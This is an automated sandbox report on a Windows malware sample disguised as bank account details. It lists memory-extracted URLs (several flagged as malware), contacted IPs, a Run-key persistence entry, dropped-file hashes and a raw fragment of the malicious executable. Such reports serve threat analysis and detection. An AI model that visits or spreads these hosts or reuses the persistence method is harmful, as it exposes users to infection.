                                        http://aerytyre.blogspot.com/MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpfalse
                                          		high
                                          http://blogsemasacaparnab.blogspot.com/MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpfalse
                                            		high
                                            https://raw.githubusercontent.com/MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://eeyhh567.s3.eu-west-3.amazonaws.com/image2.pngMpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpfalse
                                              		high
                                              https://mort2021.s3-eu-west-1.amazonaws.com/image2.pngMpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpfalse
                                                		high
                                                http://m.mworld.vn/MWorld30/data20.xm?a=getip&g=3&sex=AndroidMpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.niepicowane.pl/MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://office-service-secs.com/blm.taskMpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.51jetso.com/MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://bit.ly/3kvdcmiMpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpfalse
                                                  		high
                                                  https://irecruiter.immentia.com/storage/framework/cache/data/0e/nC7vWe43YwJjj.phpMpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://js.f4321y.com/MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://remote.bittorrent.comMpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpfalse
                                                    		high
                                                    http://wac.edgecastcdn.net/800952/5b595c13-aea5-4a6c-a099-d29c4678f6f2-api/gfbsMpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpfalse
                                                      		high
                                                      http://www.mva.by/tags/ariscanin1.eMpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://javafx.comMpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://sds.clrsch.com/xMpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://playsong.mediasongplayer.com/MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmptrue
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://tiasissi.com.br/revendedores/jquery/MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://207.154.225.82/report.json?type=mail&u=$muser&c=MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://app.whenu.com/OffersMpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.xiuzhe.com/ddvan.exeMpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://66.148.74.7/zu2/zc.phpMpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://t.zer9g.com/MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://149.3.170.235/qw-fad/MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmptrue
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://maringareservas.com.br/queda/index.phpMpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://shdjhgftyhgjklolkjio.dns.navy/bcz/document.docMpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmptrue
                                                      • Avira URL Cloud: malware
                                                      		unknown
                                                      http://seunelson.com.br/js/content.xmlMpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://costacars.es/ico/ortodox.phpMpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmptrue
                                                      • Avira URL Cloud: malware
                                                      		unknown
                                                      http://82.98.235.MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		low
                                                      http://verred.net/?1309921MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://pigeonious.com/img/MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmptrue
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://team.afcorp.afg/chr/crt-ho_30/newjflibraryMpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://artishollywoodbikini.blogspot.com/MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpfalse
                                                        		high
                                                        http://data1.yoou8.com/MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://jabaltoor.com/copy/img/blog/cat-post/r7gnor1h0.phpMpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://bit.ly/3kthd4jMpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpfalse
                                                          		high
                                                          http://handjobheats.com/xgi-bin/q.phpMpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.pcpurifier.com/buynow/?MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmptrue
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.chatzum.com/statistics/?affid=$RPT_AFFID&cztbid=$RPT_UID&inst=$RTP_SETINST&sethp=$RTP_SETMpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://longurl.in/tllwuMpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmptrue
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://%63%61%39%78%2e%63%6f%6d/ken.gifMpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		low
                                                          http://logs-01.loggly.com/inputsMpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpfalse
                                                            		high
                                                            https://cdn4.buysellads.net/pub/tempmail.js?MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://memberservices.passport.net/memberservice.srfMpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown

                                                            Contacted IPs

                                                            • No. of IPs < 25%
                                                            • 25% < No. of IPs < 50%
                                                            • 50% < No. of IPs < 75%
                                                            • 75% < No. of IPs

                                                            Public

                                                            IPDomainCountryFlagASNASN NameMalicious
                                                            172.217.168.46
                                                            		drive.google.comUnited States
                                                            		15169GOOGLEUSfalse
                                                            116.0.120.83
                                                            		cselegance.comMalaysia
                                                            		24218GTC-MY-PIP-ASGlobalTransitCommunications-MalaysiaMYfalse
                                                            142.250.186.33
                                                            		googlehosted.l.googleusercontent.comUnited States
                                                            		15169GOOGLEUSfalse

                                                            General Information

                                                            Joe Sandbox Version:33.0.0 White Diamond
                                                            Analysis ID:1613
                                                            Start date:12.10.2021
                                                            Start time:09:34:58
                                                            Joe Sandbox Product:CloudBasic
                                                            Overall analysis duration:0h 25m 42s
                                                            Hypervisor based Inspection enabled:false
                                                            Report type:light
                                                            Sample file name:Foreign_Bank Account Details.exe
                                                            Cookbook file name:default.jbs
                                                            Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                                            Run name:Suspected Instruction Hammering
                                                            Number of analysed new started processes analysed:49
                                                            Number of new started drivers analysed:0
                                                            Number of existing processes analysed:0
                                                            Number of existing drivers analysed:0
                                                            Number of injected processes analysed:0
                                                            Technologies:
                                                            • HCA enabled
                                                            • EGA enabled
                                                            • HDC enabled
                                                            • AMSI enabled
                                                            Analysis Mode:default
                                                            Analysis stop reason:Timeout
                                                            Detection:MAL
                                                            Classification:mal100.rans.spre.troj.adwa.spyw.expl.evad.mine.winEXE@18/238@3/3
                                                            EGA Information:Failed
                                                            HDC Information:Failed
                                                            HCA Information:Failed
                                                            Cookbook Comments:
                                                            • Adjust boot time
                                                            • Enable AMSI
                                                            • Found application associated with file extension: .exe
                                                            Warnings:
                                                            Show All
                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
                                                            • TCP Packets have been reduced to 100
                                                            • Created / dropped Files have been reduced to 100
                                                            • Excluded IPs from analysis (whitelisted): 51.105.236.244, 20.54.122.82, 20.50.102.62, 92.123.195.50, 93.184.221.240, 20.82.210.154, 52.242.101.226, 104.89.38.104, 2.21.143.74, 2.21.140.235, 52.109.12.20, 40.126.31.5, 40.126.31.136, 40.126.31.9, 40.126.31.142, 20.190.159.133, 40.126.31.7, 20.190.159.137, 40.126.31.140, 20.189.173.22
                                                            • Excluded domains from analysis (whitelisted): definitionupdates.microsoft.com.edgekey.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, www.tm.lg.prod.aadmsa.akadns.net, onedsblobprdwus17.westus.cloudapp.azure.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, wu.azureedge.net, www.tm.a.prd.aadg.trafficmanager.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, e11290.dspg.akamaiedge.net, www.microsoft.com-c-3.edgekey.net, go.microsoft.com, login.live.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, slscr.update.microsoft.com.akadns.net, definitionupdates.microsoft.com, e3673.g.akamaiedge.net, wu.ec.azureedge.net, sls.update.microsoft.com.akadns.net, wu-shim.trafficmanager.net, ctldl.windowsupdate.com, wdcp.microsoft.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, wd-prod-cp.trafficmanager.net, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, wd-prod-cp-eu-north-1-fe.northeurope.cloudapp.azure.com, sls.emea.update.microsoft.com.akadns.net, wdcpalt.microsoft.com, go.microsoft.com.edgekey.net, blobcollector.events.data.trafficmanager.net, wd-prod-cp-eu-west-1-fe.westeurope.cloudapp.azure.com, umwatson.events.data.microsoft.com, www.microsoft.com, nexusrules.officeapps.live.com
                                                            • Not all processes where analyzed, report is missing behavior information
                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                            • Report size getting too big, too many NtCreateFile calls found.
                                                            • Report size getting too big, too many NtEnumerateKey calls found.
                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                            • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                            • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                            • Report size getting too big, too many NtSetInformationFile calls found.

                                                            Simulations

                                                            Behavior and APIs

                                                            TimeTypeDescription
                                                            09:38:18API Interceptor2419x Sleep call for process: RegAsm.exe modified
                                                            09:38:31AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run tKZVPq C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
                                                            09:38:39AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run tKZVPq C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
                                                            09:42:01API Interceptor1x Sleep call for process: MpSigStub.exe modified

                                                            Joe Sandbox View / Context

                                                            IPs

                                                            No context

                                                            Domains

                                                            No context

                                                            ASN

                                                            No context

                                                            JA3 Fingerprints

                                                            No context

                                                            Dropped Files

                                                            No context

                                                            Created / dropped Files

                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WERF50F.tmp.WERInternalMetadata.xml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe
                                                            File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):8150
                                                            Entropy (8bit):3.701378609955492
                                                            Encrypted:false
                                                            SSDEEP:192:R9l7lZNivkGm6YHprgmfIAzMp1e/mf0oAqm:R9lnNi8Gm6YJrgmfIAce+f2
                                                            MD5:13FBBE73A3181FAB56E004A45F2F044E
                                                            SHA1:4ECB2F8AE0361C386AB5FDB6474FB2F741C77395
                                                            SHA-256:7D5C2CCA7CEDCA030DDB8820D1A2AA3E96217904990D7CCF9889514DEBDA1653
                                                            SHA-512:02F294B280B37658E8BFACD51B1B337CA8021D4A2332AFA0566EBCBDB9FD3A94D02C748E58BE4733174C39B142808B14288950AEE28DCD66F308060E93CC23E6
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: ..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.4.0.<./.P.i.
                                                            C:\ProgramData\Microsoft\Windows\WER\Temp\WERF60A.tmp.xml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe
                                                            File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):4887
                                                            Entropy (8bit):4.53407561277983
                                                            Encrypted:false
                                                            SSDEEP:48:cvIwwtD8zs1Ge70xzI7VFJ5WS2Cfjkes3rm8M4JFK8nxq5VUmF4yq8vOyxq5VUKQ:uINf177y8ySPf4JFKex3DWRx3Ku+aTNd
                                                            MD5:900A25CF2F3F7F3FA68468B0B9FE804F
                                                            SHA1:E1125FD87CB94836C72F70DD59EF504CEBE842CA
                                                            SHA-256:5FFEFA77CD83BA3ECB290CAF787C5562E5639DF43F5067EBCA5A12466C7AA10C
                                                            SHA-512:5BCEC2E85FF469ED426F209CEEF5DCF9D563EFB6DC82AEBD7252CBE471F231C0E016ED52B0838C738DDCD28171CAD04FA75A76245B6554263543CDA72B19B430
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="221305644" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="
                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\tKZVPq.exe.log
                                                            Process:C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:modified
                                                            Size (bytes):42
                                                            Entropy (8bit):4.0050635535766075
                                                            Encrypted:false
                                                            SSDEEP:3:QHXMKa/xwwUy:Q3La/xwQ
                                                            MD5:84CFDB4B995B1DBF543B26B86C863ADC
                                                            SHA1:D2F47764908BF30036CF8248B9FF5541E2711FA2
                                                            SHA-256:D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
                                                            SHA-512:485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..
                                                            C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
                                                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):65440
                                                            Entropy (8bit):6.049806962480652
                                                            Encrypted:false
                                                            SSDEEP:768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
                                                            MD5:0D5DF43AF2916F47D00C1573797C1A13
                                                            SHA1:230AB5559E806574D26B4C20847C368ED55483B0
                                                            SHA-256:C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
                                                            SHA-512:F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Metadefender, Detection: 0%, Browse
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P...*..0.."........(......-.r...p.rI..p(....s....z.*...0..........(....~P.....o......*..(....*n(.....(..........%...(....*~(.....(..........%...%...(....*.(.....(..........%...%...%...(....*V.(......}Q.....}R...*..{Q...*..{R...*...0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.1.18500.10_to_1.1.18600.4_mpengine.dll._p
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):2651471
                                                            Entropy (8bit):7.9995368579105
                                                            Encrypted:true
                                                            SSDEEP:49152:cATHbjm/iIcfAPkDFdv14M/XGgXqzwoDXK0wo2Ufj8BYuMmLNaCvruHEmWn:cgbHIvq/vlPGgap60PJ8TJaGrMOn
                                                            MD5:3A34FF785F7187B2646BECD9447AE06F
                                                            SHA1:1598F861B9A2F64AA30EDBC67E5E65A5D4E3032D
                                                            SHA-256:A4F8A2C124DACF29D353E2A5F3A251A29A5878582B411847FE56055EEFAAFC94
                                                            SHA-512:DF85F1E9C4F72E62C284D0DABC30688F5027F5C5E8B9FD9D4B7E8D91A6780836D48C89624627B7F1257D12AE31BF1AB6733798648418E317B8D8B1BE380CD3ED
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: PA19....~.da(|f..b...h ..cI....(j!.n.|...w.p...!..D..=.......""H..;%.P.#.Q.....Tm.Rth.(Za.%...Z.;...."....................}...5/2-....{0Il....{..no...~o^w...................q....{...o...._.}qwz..l.;...&.z...{..n.[.n......[oN......6.MG.@n.O...$..m.K.a.....H..........(..!.P......_./@ $.1....Y.......6.....;Y..\.u...`W.G .d.e....XG+)$A.r$......H..<....Jf. )..L 0r.mc..n(.K.e @n8.-.A.2Gw..,...lld.32..bs.6....Q.....cj..4.o....L.<21....&r@AInLb...%.......9..tp.$'Q..r.S..o.9...e].....hr.W...,CAo/I......~....z.H........o.$.}...........................f..f.........;.9.w.9...3..r.2.6.2*w.....]..T%..I..W.TR.2.47.Q!...,...ie..$......,M.....Ah..2....P.. ......'y..S}.A.M.....2..U.u.}.A.Q..Km.q.\,..eUQ..0.[G.......]A.y:.-....p..5.c..^._.=a.I^s7..~.......S..\...;.$,8.e]9.].r9=a.:..~3 '...&.x.{.)....L.G5.9.0...Bk....2...5.#]...^iM.z@f.....f.n.....Z.{.[%-.}.S]W]..b..$...g}...nM..e....L.V..D+[......?.~=.....6+..S..R...*...J..O.r.....rC....Vo..+.J>....
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.349.0.0_to_1.351.0.0_mpasbase.vdm._p
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):6947288
                                                            Entropy (8bit):7.998652520745969
                                                            Encrypted:true
                                                            SSDEEP:196608:Z6h8S1WVWjjc7Wf7zlW0qg2eUCJj6oZT32FBN6DIz:M+S1q7S7BWvMzJxBYHz
                                                            MD5:46F037977005B7E9F8711C1CE7245C6B
                                                            SHA1:B04BB6DE0F9F5A2B12C52124AD514D324EF3B616
                                                            SHA-256:3D38C95836DB5540D4354BDA13A83091BF144A907A831604898D9F864126A4D0
                                                            SHA-512:8D84FDCE9A81422A10AA1CC6B450EEA1E593F16DBF57D00A313C3AA9B03BB41F6A94FF8D4739C1ED79B3ED6F1CBF203F455BCCE6654C103BB5294599E47CDC16
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MPSP..j.....8..x..]u\.O._:D$$.E0.AEQQLJ......T..y..n.DA.1PT.n1...nL...;..{.{..q............&..|."S....J....W..TR..)W..[5J..!..&...e...=...Y.$mdz..R.V.".FQ.....iI.ljk.....!J.Sem...Q>.....+T.6..y..\W.u...*P../..=.2Mox...~..k.n...*........V....O3U....wS%6.*...D.2)NC..q!..2.-J..h=~i.p...DF4.&#.x......54.z.*|.(W..Li..`2.R?.^W2.2.kfB.$d..3..(>..iJ...9.$..J..H.dB..*.LcmU.:..U.....Ua...H.FS..yE...E;..`..P#..M.!.j..6....M..Z.......C...@.<..Kj..T.......mU...2.D.C.....PG.&.)9.M..AU.......LM;fm={..n....!J.SW74.......jS.h-..J9....I.%'.c.....t.*.(.....aQ..X..L.;.....k.i..>N.!.i..y.X.2..g...j.,=.>..7m..A....9@........5.J......Kw..0W..r2.)...h...(i>.&>A0...`D.c...).3.mL......;.&..6......)...E....)J..?K..%..;..D]..(S.yx.g.B]....D........5..5...L.+Y.N..R3..z.s.....5H..Y.....$../o.$....(.fx-/.";.no.M...vn...l..p.f.*.......X.;W..90..A...kH6^C.u..l...6.....:.P......|.F.k.(..t.....3s..iT...;%.e.D..'m.e.r..YP......^1,...........2O..,`........IQ<K.
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.349.0.0_to_1.351.0.0_mpavbase.vdm._p
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):5295896
                                                            Entropy (8bit):7.997749364950445
                                                            Encrypted:true
                                                            SSDEEP:98304:+3t2My1jJFqD1nlxmI5zN8KGixmH8l2snrho+qico1hSWmnSEOR69MaKJD:+92M8DqTx/dN81iUHooKcofHDZEMaKJD
                                                            MD5:F2E9F2343E044B331ECAF82302F5EC4B
                                                            SHA1:049E866B3C7385DD7B00BBEC39453C30B8D29C28
                                                            SHA-256:77AF289327742CC4F520092AA6429A5B829E24F40653DF71D00E31EFF9F3737F
                                                            SHA-512:080509E98915BE390AE6A1ABA880248E98DE10D77AF107FB266DC34CECD43EED9CE77F53C6568C20FA1222DBA1D3FDB79E820656C0B28E1316DA93500C580A79
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MPSP..P..Au.[.Aex.l..xTW.6.I ......'..C\p.Dq.....<..!..Cp.BK..H.B..w.s2....}.{]o.s.......j.)m.e._....N.L.,...:......!..g.UN.sH.t../...|6F.F.C.f....d..N./.2^.b*c..)..6...F![...BJ&.g\....%....f5.r.:...L..$..L6&.,.v=.Me..F...lF.Ou;.C....R..3.).....G...,..../..f.7U..o.2....VA..OV.7r.|.......M?......eS$K...w.ic......y^S..&S.e.J..3..`2.y..4...iT.3..+mL(W'....L...&..&..1MI_J..|...f..eZ..dZ{&.i.n...e.s.X..).i..th...._M...f..mLgc...3..n.C....25.5=X]..8}.k.!YR..8{>...u...`H.c'.w.K.sxN........z.0.......MN..m.lk........&4..zY....?..O..@f..j.@...i ..}..jH..tf5ekb.........^...T.4...m.c[.ZY....YZ.l.T..u.....g1..~.eV. F....d.o....M<.5L7..AOl.+......D`l...hO.'..X..;.x...=q....zS..c".J.....1D.s...(1T..`zc...q...Q.74..I.ug.(.0..g.D;1..Ty..3.....t.}......a...`.D..I.`"1..L7.`....A.p.............g..M..........J.../.6..._..-e.i.h.z.J...ALw..[...3d...iLo.)..$.?Nk..,a...V*.++..v.-I.T~..M..'1}qj.,.....O.......X..3_.p...|z6.pm.........+.).,....^.j.h...d4..D..[,.
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe
                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):803176
                                                            Entropy (8bit):6.37118649960636
                                                            Encrypted:false
                                                            SSDEEP:24576:Ghj1QlBYDgtUUvie3n+pB3+ojRlcD1VyZTFXk:GhpQlBHtBYla1VyZpU
                                                            MD5:01F92DC7A766FF783AE7AF40FD0334FB
